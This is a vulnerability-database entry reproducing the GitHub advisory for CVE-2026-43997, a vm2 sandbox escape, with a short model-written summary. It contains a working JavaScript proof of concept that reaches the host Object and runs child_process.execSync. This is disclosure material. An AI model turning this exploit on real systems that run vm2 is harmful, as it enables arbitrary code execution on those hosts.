Browse / AI Framework and Platform Flaws / CVE-2026-43997
vm2 Access to Host Object Enables Sandbox Escape
- Class
- AI Framework and Platform Flaws (filed by a model that read the advisory)
- Technique
- Sandbox escape
- Affected
- vm2 (npm)
- Gets past
- Earlier patch
- CVSS
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- EPSS
- 1.0% chance of exploitation in 30 days
How it works, in short
An incomplete earlier fix still exposes the host Object through symbols, letting sandboxed code reach the host realm and run child processes. (Our summary, written by a model. The source text is below.)
Details
Summary
It is possible to obtain the host Object, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete.
Details
There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom)
PoC
const g = {}.__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const o = p.call(p.call(a));
const HObject = o.constructor;
sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
const obj = {
[sym]: (depth, opt, inspect) => {
inspect.constructor("return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})")();
},
valueOf: undefined,
constructor: undefined,
};
WebAssembly.compileStreaming(obj).catch(() => {});
Impact
Sandbox Escape -> RCE
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6
- https://nvd.nist.gov/vuln/detail/CVE-2026-43997
- https://github.com/patriksimek/vm2
- https://github.com/patriksimek/vm2/releases/tag/v3.11.0
Source: GitHub Advisory Database, used under CC BY 4.0.